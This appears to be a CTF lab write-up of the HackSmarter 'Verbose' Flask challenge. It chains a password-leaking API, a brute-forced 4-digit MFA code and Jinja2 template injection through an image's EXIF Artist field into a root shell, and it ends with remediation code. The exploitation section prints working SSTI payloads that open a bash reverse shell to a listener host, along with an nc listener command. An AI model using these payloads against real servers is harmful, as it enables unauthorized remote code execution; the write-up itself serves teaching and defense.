Security Labs

CTF and security lab write-ups

← Back

HackSmarter - Verbose Lab Writeup

Date: 2026-01-24 Difficulty: Medium Platform: HackSmarter

Executive Summary

Overall Risk Rating: πŸ”΄ Critical

Key Findings:

Business Impact: Chained exploitation of information disclosure, weak MFA, and SSTI allows attackers to gain root-level remote code execution on the server, leading to complete system compromise and data breach.


Objective

You have been authorized to perform an external penetration test against a target organization. During the initial reconnaissance phase, you identified a web application that allows unrestricted public user registration.

  1. Enumerate: Map the application’s attack surface and functionality.
  2. Identify: Locate exploitable vulnerabilities within the application logic or configuration.
  3. Exploit & Escalate: Leverage identified flaws to compromise the system, with the final goal of securing root access to the host server to demonstrate maximum impact.

Initial Access

# Target Application
URL: http://10.1.148.204:80 (Flask application)

# Initial Action
Created a standard user account via registration

Key Findings

Critical & High-Risk Vulnerabilities

  1. Information Disclosure - /api/users/all exposes all user credentials (CWE-200)
  2. Weak MFA Implementation - 4-digit codes brute-forceable (CWE-307)
  3. Server-Side Template Injection - EXIF metadata rendered via Jinja2 (CWE-1336)
  4. Insecure Server Configuration - Application running as root (CWE-250)

CVSS v3.1 Score for SSTI Chain: 9.8 (Critical)

Metric Value
Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

Enumeration Summary

Application Analysis

Target Endpoints Discovered:

Summary:

Attack Chain Visualization

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   User Registration │────▢│   API Info       │────▢│   Admin Creds       β”‚
β”‚   (Standard User)   β”‚     β”‚   Disclosure     β”‚     β”‚   Obtained          β”‚
β”‚                     β”‚     β”‚   /api/users/all β”‚     β”‚                     β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                                β”‚
                                                                β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   Root Shell via    │◀────│   SSTI via EXIF  │◀────│   MFA Brute Force   β”‚
β”‚   Reverse Shell     β”‚     β”‚   Artist Field   β”‚     β”‚   (0001-9999)       β”‚
β”‚   (Server runs      β”‚     β”‚   in logo_previewβ”‚     β”‚   5 threads +       β”‚
β”‚    as root!)        β”‚     β”‚                  β”‚     β”‚   random delay      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                β”‚
                β–Ό
      β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
      β”‚   cat /root/root.txtβ”‚
      β”‚   FLAG CAPTURED     β”‚
      β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Attack Path Summary:

  1. User Registration: Create standard user account
  2. Information Disclosure: Query /api/users/all to obtain admin credentials
  3. MFA Bypass: Brute force 4-digit MFA code using Burp Intruder
  4. Admin Access: Gain access to admin panel with logo upload and user management
  5. SSTI Discovery: Identify EXIF metadata rendering in logo preview
  6. RCE: Inject Jinja2 payload into EXIF Artist field for reverse shell
  7. Root Access: Server running as root provides immediate root shell

Exploitation Path

Step 1: Information Disclosure - API Credential Leak

Discovered /api/users/all endpoint exposing all user data:

GET /api/users/all HTTP/1.1
Host: 10.1.148.204
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.1.148.204/admin/dashboard
Connection: keep-alive
Cookie: session=.eJyrVirKz0lVslJKTMnNzFPSUSpOLS7OzM-Lz0wBCRqkWZgmJpnpmqSZGuiamBha6CamGRvrphoYWaSaGhgbpiQlAfWUFqcWwY2oBQAlLhit.aXQNjw.brj1k9EA3pF9dV6otyQYtHEsUYM
X-PwnFox-Color: blue
Priority: u=4

Response:

[
  {"email":"tony@hacksmarter.local","id":1,"mfa":null,"password":"basketball","role":"user","username":"tony"},
  {"email":"johnny@hacksmarter.local","id":2,"mfa":null,"password":"dolphin","role":"user","username":"johnny"},
  {
    "email":"admin@hacksmarter.local",
    "id":3,
    "mfa":null,
    "password":"YouWontGetThisPasswordYouNoobLOL123",
    "role":"admin",
    "username":"admin"
  },
  {"email":"student@hacksmarter.local","id":4,"mfa":null,"password":"liverpool","role":"user","username":"student"}
]

Analysis: API endpoint returns plaintext passwords for all users including admin. No authentication required.

Step 2: MFA Brute Force

Attempted admin login but account protected by MFA (4-digit code).

Burp Intruder Configuration:

POST /mfa HTTP/1.1
Host: 10.1.148.204
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://10.1.148.204
Connection: keep-alive
Referer: http://10.1.148.204/mfa
Cookie: session=eyJtZmFfdXNlciI6ImFkbWluIiwic2Vzc2lvbl9pZCI6ImEwZjg1YWI2LTRmNTAtNDQxOC1hZjMzLWUwMjhlNTAzMWRiYiJ9.aXQLlg.jRkZcwNEVTsgYnDXu58wRHduDo8
Upgrade-Insecure-Requests: 1
X-PwnFox-Color: blue
Priority: u=0, i

code=Β§1234Β§

Result: Successfully brute forced MFA code and gained admin access.

Step 3: Admin Panel Enumeration

Admin capabilities discovered:

  1. Logo Upload - Upload new site logo (PNG files only)
  2. User Permissions - Upgrade any user’s role to admin

Admin Panel

Logo Preview Endpoint:

/admin/logo_preview?file=logo.png

The preview page displays:

Step 4: SSTI Discovery via EXIF Metadata

Hypothesis: EXIF metadata is extracted and rendered through Jinja2 template without sanitization.

SSTI Test:

convert -size 1x1 xc:white /tmp/test.png
exiftool -Artist='{{7*7}}' /tmp/test.png

SSTI Confirmed

Result: Uploaded image, accessed preview - β€œ49” appeared in the Artist field.

βœ… SSTI Confirmed - Jinja2 template injection via EXIF Artist field.

Step 5: RCE via Jinja2 lipsum Payload

Listener Setup:

nc -lvnp 4444

Payload Creation:

convert -size 1x1 xc:white /tmp/shell.png
exiftool -Artist='{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen("bash -c \"bash -i >& /dev/tcp/10.200.31.196/4444 0>&1\"").read() }}' /tmp/shell.png

Execution:

  1. Uploaded shell.png with SSTI payload
  2. Triggered /admin/logo_preview?file=shell.png
  3. Received root shell on netcat listener

Root Shell

Step 6: Flag Capture

Flag

⚠️ Note: Server was running as root - no privilege escalation required. This is a critical misconfiguration.


Flag / Objective Achieved

βœ… Objective: Gained root shell via SSTI in EXIF metadata rendering

βœ… Flag: Retrieved from /root/root.txt


Alternative Payload

convert -size 1x1 xc:white /tmp/shell.png
exiftool -Artist='{{lipsum.__globals__.os.popen("bash -c \"bash -i >& /dev/tcp/10.200.31.196/4444 0>&1\"").read()}}' /tmp/shell.png

Payload Breakdown:

Component Purpose
`` Jinja2 expression tags
lipsum Built-in Jinja2 function (lorem ipsum generator)
.__globals__ Access Python’s global namespace
.os Access the os module
.popen("cmd") Execute shell command
.read() Trigger execution and return output

Why lipsum?


Key Learnings


Tools Used


Remediation

1. Information Disclosure in /api/users/all (CVSS: 9.1 - Critical)

Issue: API endpoint returns all user data including plaintext passwords without authentication.

CWE Reference: CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor

Fix:

# BEFORE (Vulnerable)
@app.route('/api/users/all')
def get_users():
    users = User.query.all()
    return jsonify([u.to_dict() for u in users])  # Includes passwords!

# AFTER (Secure)
@app.route('/api/users/all')
@login_required
@admin_required
def get_users():
    users = User.query.all()
    return jsonify([{
        'id': u.id,
        'username': u.username,
        'email': u.email,
        'role': u.role
        # Password explicitly excluded
    } for u in users])

2. Weak MFA Implementation (CVSS: 7.5 - High)

Issue: 4-digit MFA codes can be brute forced in under 10,000 attempts with no rate limiting.

CWE Reference: CWE-307 - Improper Restriction of Excessive Authentication Attempts

Fix:

# Add rate limiting and account lockout
from flask_limiter import Limiter

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/admin/verify-mfa', methods=['POST'])
@limiter.limit("5 per minute")  # Rate limit
def verify_mfa():
    # Check for account lockout
    if get_failed_attempts(session['user_id']) >= 5:
        return jsonify({'error': 'Account locked. Try again in 15 minutes.'}), 429

    # Use 6+ digit codes or TOTP
    # Implement exponential backoff

3. SSTI via EXIF Metadata (CVSS: 9.8 - Critical)

Issue: EXIF metadata from uploaded images is rendered through Jinja2 without sanitization.

CWE Reference: CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine

Fix:

# BEFORE (Vulnerable)
@app.route('/admin/logo_preview')
def logo_preview():
    filename = request.args.get('file')
    metadata = extract_exif(filename)
    # Directly rendering user-controlled EXIF data in template!
    return render_template('preview.html', artist=metadata.get('Artist', 'Unknown'))

# AFTER (Secure)
from markupsafe import escape

@app.route('/admin/logo_preview')
def logo_preview():
    filename = request.args.get('file')
    metadata = extract_exif(filename)
    # Escape all user-controlled data before rendering
    safe_artist = escape(metadata.get('Artist', 'Unknown'))
    return render_template('preview.html', artist=safe_artist)

Or strip EXIF data entirely:

from PIL import Image

def strip_exif(image_path):
    img = Image.open(image_path)
    data = list(img.getdata())
    img_no_exif = Image.new(img.mode, img.size)
    img_no_exif.putdata(data)
    img_no_exif.save(image_path)

4. Application Running as Root (CVSS: 7.8 - High)

Issue: Web application runs as root user, providing immediate root access upon RCE.

CWE Reference: CWE-250 - Execution with Unnecessary Privileges

Fix:

# Create dedicated service user
useradd -r -s /bin/false webapp

# Run application as non-root
sudo -u webapp python app.py

# Or use systemd with User= directive
[Service]
User=webapp
Group=webapp

Failed Attempts

Approach 1: Path Traversal in logo_preview

/admin/logo_preview?file=../../../etc/passwd

Result: ❌ Failed - Application strips path and only looks for filename in uploads directory

Response:

Error: File 'passwd' not found.

Approach 2: SSTI via EXIF Comment Field

exiftool -Comment='{{7*7}}' /tmp/test.png

Result: ❌ Failed - Comment field not rendered in template, only Artist/Copyright displayed

Approach 3: Direct SSTI in Filename

mv test.png '{{7*7}}.png'

Result: ❌ Failed - Filename sanitized on upload


OWASP Top 10 Coverage


References

SSTI Resources:

EXIF Exploitation:


Tags: #ssti #jinja2 #exif #file-upload #mfa-bypass #information-disclosure #hacksmarter